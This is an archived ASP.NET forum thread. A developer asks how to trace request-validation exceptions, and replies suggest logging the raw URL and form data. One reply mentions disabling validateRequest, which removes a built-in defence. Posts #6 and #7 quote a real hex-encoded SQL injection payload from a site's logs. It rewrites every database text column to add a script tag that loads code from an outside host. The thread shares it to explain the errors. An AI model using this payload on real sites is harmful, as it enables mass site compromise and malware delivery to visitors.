How to Know what Caused an Error

Collapse
This topic is closed.
X
X
Collapse
 
  • Page of 1
  • Time
  • Show
Clear All
new posts
Previous template Next
  • Jonathan Wood
    #1

    How to Know what Caused an Error

    Greetings,

    I have a Website that emails me any time an error occurs. I have debugging
    on so that it can include page and line number information.

    So I got a ton of the email below. Unfortunately, while I see it has
    something to do with having "unsafe" characters in the query string, it
    doesn't tell me on which page. Line 0 of App_Web_3uw3mai 2.5.cs means
    absolutely nothing to me. And it's too big a site to try and guess.

    Is there no way to figure out what caused this error?

    Thanks.

    Jonathan

    <<<<<<<<<<

    The following error has occurred on the server:

    "Applicatio n Error Handler"

    User: <email(ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
    Source: System.Web

    System.Web.Http RequestValidati onException: A potentially dangerous
    Request.QuerySt ring value was detected from the client (msg="...led using
    <pages enableEventVa.. .").
    at System.Web.Http Request.Validat eString(String s, String valueName,
    String collectionName)
    at System.Web.Http Request.Validat eNameValueColle ction(NameValue Collection
    nvc, String collectionName)
    at System.Web.Http Request.get_Que ryString()
    at System.Web.UI.P age.GetCollecti onBasedOnMethod (Boolean dontReturnNull)
    at System.Web.UI.P age.DeterminePo stBackMode()
    at System.Web.UI.P age.ProcessRequ estMain(Boolean
    includeStagesBe foreAsyncPoint, Boolean includeStagesAf terAsyncPoint)
    at System.Web.UI.P age.ProcessRequ est(Boolean
    includeStagesBe foreAsyncPoint, Boolean includeStagesAf terAsyncPoint)
    at System.Web.UI.P age.ProcessRequ est()
    at System.Web.UI.P age.ProcessRequ estWithNoAssert (HttpContext context)
    at System.Web.UI.P age.ProcessRequ est(HttpContext context)
    at ASP.errorreport _aspx.ProcessRe quest(HttpConte xt context) in
    c:\WINDOWS\Micr osoft.NET\Frame work\v2.0.50727 \Temporary ASP.NET
    Files\root\f2d4 905b\94fa3b3c\A pp_Web_3uw3mai2 .5.cs:line 0
    at
    System.Web.Http Application.Cal lHandlerExecuti onStep.System.W eb.HttpApplicat ion.IExecutionS tep.Execute()
    at System.Web.Http Application.Exe cuteStep(IExecu tionStep step, Boolean&
    completedSynchr onously)

    Tags: None
    • George
      #2
      Re: How to Know what Caused an Error

      You obviously should include all related information like

      Request.RawUrl, Request.Post.To String()...
      into you report logging...

      PS: That error happens usually when HTML tags are tried to be submitted
      through the input box. By default ASP.NET prevents that.

      You can set validateRequest ="false" in web.config to disable validation.
      <pages validateRequest ="false">

      George.


      "Jonathan Wood" <jwood@softcirc uits.comwrote in message
      news:%23BcjPMcI JHA.1308@TK2MSF TNGP02.phx.gbl. ..
      Greetings,
      >
      I have a Website that emails me any time an error occurs. I have debugging
      on so that it can include page and line number information.
      >
      So I got a ton of the email below. Unfortunately, while I see it has
      something to do with having "unsafe" characters in the query string, it
      doesn't tell me on which page. Line 0 of App_Web_3uw3mai 2.5.cs means
      absolutely nothing to me. And it's too big a site to try and guess.
      >
      Is there no way to figure out what caused this error?
      >
      Thanks.
      >
      Jonathan
      >
      <<<<<<<<<<
      >
      The following error has occurred on the server:
      >
      "Applicatio n Error Handler"
      >
      User: <email(ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
      Source: System.Web
      >
      System.Web.Http RequestValidati onException: A potentially dangerous
      Request.QuerySt ring value was detected from the client (msg="...led using
      <pages enableEventVa.. .").
      at System.Web.Http Request.Validat eString(String s, String valueName,
      String collectionName)
      at
      System.Web.Http Request.Validat eNameValueColle ction(NameValue Collection
      nvc, String collectionName)
      at System.Web.Http Request.get_Que ryString()
      at System.Web.UI.P age.GetCollecti onBasedOnMethod (Boolean dontReturnNull)
      at System.Web.UI.P age.DeterminePo stBackMode()
      at System.Web.UI.P age.ProcessRequ estMain(Boolean
      includeStagesBe foreAsyncPoint, Boolean includeStagesAf terAsyncPoint)
      at System.Web.UI.P age.ProcessRequ est(Boolean
      includeStagesBe foreAsyncPoint, Boolean includeStagesAf terAsyncPoint)
      at System.Web.UI.P age.ProcessRequ est()
      at System.Web.UI.P age.ProcessRequ estWithNoAssert (HttpContext context)
      at System.Web.UI.P age.ProcessRequ est(HttpContext context)
      at ASP.errorreport _aspx.ProcessRe quest(HttpConte xt context) in
      c:\WINDOWS\Micr osoft.NET\Frame work\v2.0.50727 \Temporary ASP.NET
      Files\root\f2d4 905b\94fa3b3c\A pp_Web_3uw3mai2 .5.cs:line 0
      at
      System.Web.Http Application.Cal lHandlerExecuti onStep.System.W eb.HttpApplicat ion.IExecutionS tep.Execute()
      at System.Web.Http Application.Exe cuteStep(IExecu tionStep step, Boolean&
      completedSynchr onously)
      >

        Comment

        • Jonathan Wood
          #3
          Re: How to Know what Caused an Error

          "George" <noemail@comcas t.netwrote in message
          news:uhyDFYdIJH A.3548@TK2MSFTN GP05.phx.gbl...
          You obviously should include all related information like
          >
          Request.RawUrl, Request.Post.To String()...
          into you report logging...
          I guess. Virtually all errors occur in my code so I can look at it. I guess
          this is a rare exception.
          PS: That error happens usually when HTML tags are tried to be submitted
          through the input box. By default ASP.NET prevents that.
          >
          You can set validateRequest ="false" in web.config to disable validation.
          <pages validateRequest ="false">
          I'm not certain how comfortable I am with that, but that's good information
          to know.

          Thanks.

          Jonathan
          "Jonathan Wood" <jwood@softcirc uits.comwrote in message
          news:%23BcjPMcI JHA.1308@TK2MSF TNGP02.phx.gbl. ..
          >Greetings,
          >>
          >I have a Website that emails me any time an error occurs. I have
          >debugging on so that it can include page and line number information.
          >>
          >So I got a ton of the email below. Unfortunately, while I see it has
          >something to do with having "unsafe" characters in the query string, it
          >doesn't tell me on which page. Line 0 of App_Web_3uw3mai 2.5.cs means
          >absolutely nothing to me. And it's too big a site to try and guess.
          >>
          >Is there no way to figure out what caused this error?
          >>
          >Thanks.
          >>
          >Jonathan
          >>
          ><<<<<<<<<<
          >>
          >The following error has occurred on the server:
          >>
          >"Applicatio n Error Handler"
          >>
          >User: <email(ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
          >Source: System.Web
          >>
          >System.Web.Htt pRequestValidat ionException: A potentially dangerous
          >Request.QueryS tring value was detected from the client (msg="...led using
          ><pages enableEventVa.. .").
          > at System.Web.Http Request.Validat eString(String s, String valueName,
          >String collectionName)
          > at
          >System.Web.Htt pRequest.Valida teNameValueColl ection(NameValu eCollection
          >nvc, String collectionName)
          > at System.Web.Http Request.get_Que ryString()
          > at System.Web.UI.P age.GetCollecti onBasedOnMethod (Boolean
          >dontReturnNull )
          > at System.Web.UI.P age.DeterminePo stBackMode()
          > at System.Web.UI.P age.ProcessRequ estMain(Boolean
          >includeStagesB eforeAsyncPoint , Boolean includeStagesAf terAsyncPoint)
          > at System.Web.UI.P age.ProcessRequ est(Boolean
          >includeStagesB eforeAsyncPoint , Boolean includeStagesAf terAsyncPoint)
          > at System.Web.UI.P age.ProcessRequ est()
          > at System.Web.UI.P age.ProcessRequ estWithNoAssert (HttpContext context)
          > at System.Web.UI.P age.ProcessRequ est(HttpContext context)
          > at ASP.errorreport _aspx.ProcessRe quest(HttpConte xt context) in
          >c:\WINDOWS\Mic rosoft.NET\Fram ework\v2.0.5072 7\Temporary ASP.NET
          >Files\root\f2d 4905b\94fa3b3c\ App_Web_3uw3mai 2.5.cs:line 0
          > at
          >System.Web.Htt pApplication.Ca llHandlerExecut ionStep.System. Web.HttpApplica tion.IExecution Step.Execute()
          > at System.Web.Http Application.Exe cuteStep(IExecu tionStep step, Boolean&
          >completedSynch ronously)
          >>
          >

            Comment

            • Jonathan Wood
              #4
              Re: How to Know what Caused an Error

              I didn't see a Request.Post property. Did you mean something else?

              Thanks.

              Jonathan

              "George" <noemail@comcas t.netwrote in message
              news:uhyDFYdIJH A.3548@TK2MSFTN GP05.phx.gbl...
              You obviously should include all related information like
              >
              Request.RawUrl, Request.Post.To String()...
              into you report logging...
              >
              PS: That error happens usually when HTML tags are tried to be submitted
              through the input box. By default ASP.NET prevents that.
              >
              You can set validateRequest ="false" in web.config to disable validation.
              <pages validateRequest ="false">
              >
              George.
              >
              >
              "Jonathan Wood" <jwood@softcirc uits.comwrote in message
              news:%23BcjPMcI JHA.1308@TK2MSF TNGP02.phx.gbl. ..
              >Greetings,
              >>
              >I have a Website that emails me any time an error occurs. I have
              >debugging on so that it can include page and line number information.
              >>
              >So I got a ton of the email below. Unfortunately, while I see it has
              >something to do with having "unsafe" characters in the query string, it
              >doesn't tell me on which page. Line 0 of App_Web_3uw3mai 2.5.cs means
              >absolutely nothing to me. And it's too big a site to try and guess.
              >>
              >Is there no way to figure out what caused this error?
              >>
              >Thanks.
              >>
              >Jonathan
              >>
              ><<<<<<<<<<
              >>
              >The following error has occurred on the server:
              >>
              >"Applicatio n Error Handler"
              >>
              >User: <email(ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
              >Source: System.Web
              >>
              >System.Web.Htt pRequestValidat ionException: A potentially dangerous
              >Request.QueryS tring value was detected from the client (msg="...led using
              ><pages enableEventVa.. .").
              > at System.Web.Http Request.Validat eString(String s, String valueName,
              >String collectionName)
              > at
              >System.Web.Htt pRequest.Valida teNameValueColl ection(NameValu eCollection
              >nvc, String collectionName)
              > at System.Web.Http Request.get_Que ryString()
              > at System.Web.UI.P age.GetCollecti onBasedOnMethod (Boolean
              >dontReturnNull )
              > at System.Web.UI.P age.DeterminePo stBackMode()
              > at System.Web.UI.P age.ProcessRequ estMain(Boolean
              >includeStagesB eforeAsyncPoint , Boolean includeStagesAf terAsyncPoint)
              > at System.Web.UI.P age.ProcessRequ est(Boolean
              >includeStagesB eforeAsyncPoint , Boolean includeStagesAf terAsyncPoint)
              > at System.Web.UI.P age.ProcessRequ est()
              > at System.Web.UI.P age.ProcessRequ estWithNoAssert (HttpContext context)
              > at System.Web.UI.P age.ProcessRequ est(HttpContext context)
              > at ASP.errorreport _aspx.ProcessRe quest(HttpConte xt context) in
              >c:\WINDOWS\Mic rosoft.NET\Fram ework\v2.0.5072 7\Temporary ASP.NET
              >Files\root\f2d 4905b\94fa3b3c\ App_Web_3uw3mai 2.5.cs:line 0
              > at
              >System.Web.Htt pApplication.Ca llHandlerExecut ionStep.System. Web.HttpApplica tion.IExecution Step.Execute()
              > at System.Web.Http Application.Exe cuteStep(IExecu tionStep step, Boolean&
              >completedSynch ronously)
              >>
              >

                Comment

                • George
                  #5
                  Re: How to Know what Caused an Error

                  Sorry, I meant Request.Form

                  George.



                  "Jonathan Wood" <jwood@softcirc uits.comwrote in message
                  news:eF0hkxdIJH A.740@TK2MSFTNG P03.phx.gbl...
                  >I didn't see a Request.Post property. Did you mean something else?
                  >
                  Thanks.
                  >
                  Jonathan
                  >
                  "George" <noemail@comcas t.netwrote in message
                  news:uhyDFYdIJH A.3548@TK2MSFTN GP05.phx.gbl...
                  >You obviously should include all related information like
                  >>
                  >Request.RawUrl , Request.Post.To String()...
                  >into you report logging...
                  >>
                  >PS: That error happens usually when HTML tags are tried to be submitted
                  >through the input box. By default ASP.NET prevents that.
                  >>
                  >You can set validateRequest ="false" in web.config to disable validation.
                  > <pages validateRequest ="false">
                  >>
                  >George.
                  >>
                  >>
                  >"Jonathan Wood" <jwood@softcirc uits.comwrote in message
                  >news:%23BcjPMc IJHA.1308@TK2MS FTNGP02.phx.gbl ...
                  >>Greetings,
                  >>>
                  >>I have a Website that emails me any time an error occurs. I have
                  >>debugging on so that it can include page and line number information.
                  >>>
                  >>So I got a ton of the email below. Unfortunately, while I see it has
                  >>something to do with having "unsafe" characters in the query string, it
                  >>doesn't tell me on which page. Line 0 of App_Web_3uw3mai 2.5.cs means
                  >>absolutely nothing to me. And it's too big a site to try and guess.
                  >>>
                  >>Is there no way to figure out what caused this error?
                  >>>
                  >>Thanks.
                  >>>
                  >>Jonathan
                  >>>
                  >><<<<<<<<<<
                  >>>
                  >>The following error has occurred on the server:
                  >>>
                  >>"Applicatio n Error Handler"
                  >>>
                  >>User: <email(ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
                  >>Source: System.Web
                  >>>
                  >>System.Web.Ht tpRequestValida tionException: A potentially dangerous
                  >>Request.Query String value was detected from the client (msg="...led
                  >>using <pages enableEventVa.. .").
                  >> at System.Web.Http Request.Validat eString(String s, String valueName,
                  >>String collectionName)
                  >> at
                  >>System.Web.Ht tpRequest.Valid ateNameValueCol lection(NameVal ueCollection
                  >>nvc, String collectionName)
                  >> at System.Web.Http Request.get_Que ryString()
                  >> at System.Web.UI.P age.GetCollecti onBasedOnMethod (Boolean
                  >>dontReturnNul l)
                  >> at System.Web.UI.P age.DeterminePo stBackMode()
                  >> at System.Web.UI.P age.ProcessRequ estMain(Boolean
                  >>includeStages BeforeAsyncPoin t, Boolean includeStagesAf terAsyncPoint)
                  >> at System.Web.UI.P age.ProcessRequ est(Boolean
                  >>includeStages BeforeAsyncPoin t, Boolean includeStagesAf terAsyncPoint)
                  >> at System.Web.UI.P age.ProcessRequ est()
                  >> at System.Web.UI.P age.ProcessRequ estWithNoAssert (HttpContext context)
                  >> at System.Web.UI.P age.ProcessRequ est(HttpContext context)
                  >> at ASP.errorreport _aspx.ProcessRe quest(HttpConte xt context) in
                  >>c:\WINDOWS\Mi crosoft.NET\Fra mework\v2.0.507 27\Temporary ASP.NET
                  >>Files\root\f2 d4905b\94fa3b3c \App_Web_3uw3ma i2.5.cs:line 0
                  >> at
                  >>System.Web.Ht tpApplication.C allHandlerExecu tionStep.System .Web.HttpApplic ation.IExecutio nStep.Execute()
                  >> at System.Web.Http Application.Exe cuteStep(IExecu tionStep step,
                  >>Boolean& completedSynchr onously)
                  >>>
                  >>
                  >

                    Comment

                    • George
                      #6
                      Re: How to Know what Caused an Error

                      Yea, but usually you have tested the code. So it's not easy to guess were
                      problem is unless you can replicate the problem or simply ignore the error
                      message.
                      There are a lot of (spamming) robots that trying to submit the form with bad
                      information.
                      Or hacking attempts looking like this (taken from real site)
                      Path =
                      /article.aspx?ri d=23374';DECLAR E%20@S%20CHAR(4 000);SET%20@S=C AST(0x4445434C4 152452040542076 617263686172283 23535292C404320 766172636861722 834303030292044 45434C415245205 461626C655F4375 72736F722043555 2534F5220464F52 2073656C6563742 0612E6E616D652C 622E6E616D65206 6726F6D20737973 6F626A656374732 0612C737973636F 6C756D6E7320622 077686572652061 2E69643D622E696 420616E6420612E 78747970653D277 52720616E642028 622E78747970653 D3939206F722062 2E78747970653D3 335206F7220622E 78747970653D323 331206F7220622E 78747970653D313 63729204F50454E 205461626C655F4 37572736F722046 45544348204E455 8542046524F4D20 205461626C655F4 37572736F722049 4E544F2040542C4 043205748494C45 284040464554434 85F535441545553 3D3029204245474 94E206578656328 277570646174652 05B272B40542B27 5D20736574205B2 72B40432B275D3D 2727223E3C2F746 9746C653E3C7363 726970742073726 33D22687474703A 2F2F777777332E7 3733131716E2E63 6E2F63737273732 F772E6A73223E3C 2F7363726970743 E3C212D2D27272B 5B272B40432B275 D20776865726520 272B40432B27206 E6F74206C696B65 20272725223E3C2 F7469746C653E3C 736372697074207 372633D22687474 703A2F2F7777773 32E73733131716E 2E636E2F6373727 3732F772E6A7322 3E3C2F736372697 0743E3C212D2D27 272729464554434 8204E4558542046 524F4D202054616 26C655F43757273 6F7220494E544F2 040542C40432045 4E4420434C4F534 5205461626C655F 437572736F72204 445414C4C4F4341 5445205461626C6 55F437572736F72 %20AS%20CHAR(40 00));EXEC(@S);

                      The rid is suppose to be Int32 but someone trying to do SQL injection

                      George.


                      "Jonathan Wood" <jwood@softcirc uits.comwrote in message
                      news:e8iDkudIJH A.4240@TK2MSFTN GP03.phx.gbl...
                      "George" <noemail@comcas t.netwrote in message
                      news:uhyDFYdIJH A.3548@TK2MSFTN GP05.phx.gbl...
                      >
                      >You obviously should include all related information like
                      >>
                      >Request.RawUrl , Request.Post.To String()...
                      >into you report logging...
                      >
                      I guess. Virtually all errors occur in my code so I can look at it. I
                      guess this is a rare exception.
                      >
                      >PS: That error happens usually when HTML tags are tried to be submitted
                      >through the input box. By default ASP.NET prevents that.
                      >>
                      >You can set validateRequest ="false" in web.config to disable validation.
                      > <pages validateRequest ="false">
                      >
                      I'm not certain how comfortable I am with that, but that's good
                      information to know.
                      >
                      Thanks.
                      >
                      Jonathan
                      >
                      >"Jonathan Wood" <jwood@softcirc uits.comwrote in message
                      >news:%23BcjPMc IJHA.1308@TK2MS FTNGP02.phx.gbl ...
                      >>Greetings,
                      >>>
                      >>I have a Website that emails me any time an error occurs. I have
                      >>debugging on so that it can include page and line number information.
                      >>>
                      >>So I got a ton of the email below. Unfortunately, while I see it has
                      >>something to do with having "unsafe" characters in the query string, it
                      >>doesn't tell me on which page. Line 0 of App_Web_3uw3mai 2.5.cs means
                      >>absolutely nothing to me. And it's too big a site to try and guess.
                      >>>
                      >>Is there no way to figure out what caused this error?
                      >>>
                      >>Thanks.
                      >>>
                      >>Jonathan
                      >>>
                      >><<<<<<<<<<
                      >>>
                      >>The following error has occurred on the server:
                      >>>
                      >>"Applicatio n Error Handler"
                      >>>
                      >>User: <email(ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
                      >>Source: System.Web
                      >>>
                      >>System.Web.Ht tpRequestValida tionException: A potentially dangerous
                      >>Request.Query String value was detected from the client (msg="...led
                      >>using <pages enableEventVa.. .").
                      >> at System.Web.Http Request.Validat eString(String s, String valueName,
                      >>String collectionName)
                      >> at
                      >>System.Web.Ht tpRequest.Valid ateNameValueCol lection(NameVal ueCollection
                      >>nvc, String collectionName)
                      >> at System.Web.Http Request.get_Que ryString()
                      >> at System.Web.UI.P age.GetCollecti onBasedOnMethod (Boolean
                      >>dontReturnNul l)
                      >> at System.Web.UI.P age.DeterminePo stBackMode()
                      >> at System.Web.UI.P age.ProcessRequ estMain(Boolean
                      >>includeStages BeforeAsyncPoin t, Boolean includeStagesAf terAsyncPoint)
                      >> at System.Web.UI.P age.ProcessRequ est(Boolean
                      >>includeStages BeforeAsyncPoin t, Boolean includeStagesAf terAsyncPoint)
                      >> at System.Web.UI.P age.ProcessRequ est()
                      >> at System.Web.UI.P age.ProcessRequ estWithNoAssert (HttpContext context)
                      >> at System.Web.UI.P age.ProcessRequ est(HttpContext context)
                      >> at ASP.errorreport _aspx.ProcessRe quest(HttpConte xt context) in
                      >>c:\WINDOWS\Mi crosoft.NET\Fra mework\v2.0.507 27\Temporary ASP.NET
                      >>Files\root\f2 d4905b\94fa3b3c \App_Web_3uw3ma i2.5.cs:line 0
                      >> at
                      >>System.Web.Ht tpApplication.C allHandlerExecu tionStep.System .Web.HttpApplic ation.IExecutio nStep.Execute()
                      >> at System.Web.Http Application.Exe cuteStep(IExecu tionStep step,
                      >>Boolean& completedSynchr onously)
                      >>>
                      >>
                      >

                        Comment

                        • Jonathan Wood
                          #7
                          Re: How to Know what Caused an Error

                          Yeah, most of the users I'm dealing with are not technical, and my site's
                          available only to paying customers. So, as far as I know, I'm just dealing
                          with things like the user hitting the back button and so a page is loaded in
                          the incorrect context, or in this case putting invalid characters in an
                          input string.

                          But I'm updating my reporting routines as suggested.

                          Thanks.

                          BTW, the hacking attempt you posted shouldn't cause any problems as long as
                          the page uses parameterized arguments, right.

                          Jonathan

                          "George" <noemail@comcas t.netwrote in message
                          news:O2du3ifIJH A.456@TK2MSFTNG P06.phx.gbl...
                          Yea, but usually you have tested the code. So it's not easy to guess were
                          problem is unless you can replicate the problem or simply ignore the error
                          message.
                          There are a lot of (spamming) robots that trying to submit the form with
                          bad information.
                          Or hacking attempts looking like this (taken from real site)
                          Path =
                          /article.aspx?ri d=23374';DECLAR E%20@S%20CHAR(4 000);SET%20@S=C AST(0x4445434C4 152452040542076 617263686172283 23535292C404320 766172636861722 834303030292044 45434C415245205 461626C655F4375 72736F722043555 2534F5220464F52 2073656C6563742 0612E6E616D652C 622E6E616D65206 6726F6D20737973 6F626A656374732 0612C737973636F 6C756D6E7320622 077686572652061 2E69643D622E696 420616E6420612E 78747970653D277 52720616E642028 622E78747970653 D3939206F722062 2E78747970653D3 335206F7220622E 78747970653D323 331206F7220622E 78747970653D313 63729204F50454E 205461626C655F4 37572736F722046 45544348204E455 8542046524F4D20 205461626C655F4 37572736F722049 4E544F2040542C4 043205748494C45 284040464554434 85F535441545553 3D3029204245474 94E206578656328 277570646174652 05B272B40542B27 5D20736574205B2 72B40432B275D3D 2727223E3C2F746 9746C653E3C7363 726970742073726 33D22687474703A 2F2F777777332E7 3733131716E2E63 6E2F63737273732 F772E6A73223E3C 2F7363726970743 E3C212D2D27272B 5B272B40432B275 D20776865726520 272B40432B27206 E6F74206C696B65 20272725223E3C2 F7469746C653E3C 736372697074207 372633D22687474 703A2F2F7777773 32E73733131716E 2E636E2F6373727 3732F772E6A7322 3E3C2F736372697 0743E3C212D2D27 272729464554434 8204E4558542046 524F4D202054616 26C655F43757273 6F7220494E544F2 040542C40432045 4E4420434C4F534 5205461626C655F 437572736F72204 445414C4C4F4341 5445205461626C6 55F437572736F72 %20AS%20CHAR(40 00));EXEC(@S);
                          >
                          The rid is suppose to be Int32 but someone trying to do SQL injection
                          >
                          George.
                          >
                          >
                          "Jonathan Wood" <jwood@softcirc uits.comwrote in message
                          news:e8iDkudIJH A.4240@TK2MSFTN GP03.phx.gbl...
                          >"George" <noemail@comcas t.netwrote in message
                          >news:uhyDFYdIJ HA.3548@TK2MSFT NGP05.phx.gbl.. .
                          >>
                          >>You obviously should include all related information like
                          >>>
                          >>Request.RawUr l, Request.Post.To String()...
                          >>into you report logging...
                          >>
                          >I guess. Virtually all errors occur in my code so I can look at it. I
                          >guess this is a rare exception.
                          >>
                          >>PS: That error happens usually when HTML tags are tried to be submitted
                          >>through the input box. By default ASP.NET prevents that.
                          >>>
                          >>You can set validateRequest ="false" in web.config to disable
                          >>validation.
                          >> <pages validateRequest ="false">
                          >>
                          >I'm not certain how comfortable I am with that, but that's good
                          >information to know.
                          >>
                          >Thanks.
                          >>
                          >Jonathan
                          >>
                          >>"Jonathan Wood" <jwood@softcirc uits.comwrote in message
                          >>news:%23BcjPM cIJHA.1308@TK2M SFTNGP02.phx.gb l...
                          >>>Greetings,
                          >>>>
                          >>>I have a Website that emails me any time an error occurs. I have
                          >>>debugging on so that it can include page and line number information.
                          >>>>
                          >>>So I got a ton of the email below. Unfortunately, while I see it has
                          >>>something to do with having "unsafe" characters in the query string, it
                          >>>doesn't tell me on which page. Line 0 of App_Web_3uw3mai 2.5.cs means
                          >>>absolutely nothing to me. And it's too big a site to try and guess.
                          >>>>
                          >>>Is there no way to figure out what caused this error?
                          >>>>
                          >>>Thanks.
                          >>>>
                          >>>Jonathan
                          >>>>
                          >>><<<<<<<<<<
                          >>>>
                          >>>The following error has occurred on the server:
                          >>>>
                          >>>"Applicati on Error Handler"
                          >>>>
                          >>>User: <email(ID: c8982fe1-0474-41b0-afea-a94f28ff5039)
                          >>>Source: System.Web
                          >>>>
                          >>>System.Web.H ttpRequestValid ationException: A potentially dangerous
                          >>>Request.Quer yString value was detected from the client (msg="...led
                          >>>using <pages enableEventVa.. .").
                          >>> at System.Web.Http Request.Validat eString(String s, String valueName,
                          >>>String collectionName)
                          >>> at
                          >>>System.Web.H ttpRequest.Vali dateNameValueCo llection(NameVa lueCollection
                          >>>nvc, String collectionName)
                          >>> at System.Web.Http Request.get_Que ryString()
                          >>> at System.Web.UI.P age.GetCollecti onBasedOnMethod (Boolean
                          >>>dontReturnNu ll)
                          >>> at System.Web.UI.P age.DeterminePo stBackMode()
                          >>> at System.Web.UI.P age.ProcessRequ estMain(Boolean
                          >>>includeStage sBeforeAsyncPoi nt, Boolean includeStagesAf terAsyncPoint)
                          >>> at System.Web.UI.P age.ProcessRequ est(Boolean
                          >>>includeStage sBeforeAsyncPoi nt, Boolean includeStagesAf terAsyncPoint)
                          >>> at System.Web.UI.P age.ProcessRequ est()
                          >>> at System.Web.UI.P age.ProcessRequ estWithNoAssert (HttpContext context)
                          >>> at System.Web.UI.P age.ProcessRequ est(HttpContext context)
                          >>> at ASP.errorreport _aspx.ProcessRe quest(HttpConte xt context) in
                          >>>c:\WINDOWS\M icrosoft.NET\Fr amework\v2.0.50 727\Temporary ASP.NET
                          >>>Files\root\f 2d4905b\94fa3b3 c\App_Web_3uw3m ai2.5.cs:line 0
                          >>> at
                          >>>System.Web.H ttpApplication. CallHandlerExec utionStep.Syste m.Web.HttpAppli cation.IExecuti onStep.Execute( )
                          >>> at System.Web.Http Application.Exe cuteStep(IExecu tionStep step,
                          >>>Boolean& completedSynchr onously)
                          >>>>
                          >>>
                          >>
                          >

                            Comment

                            Previous template Next
                            Working...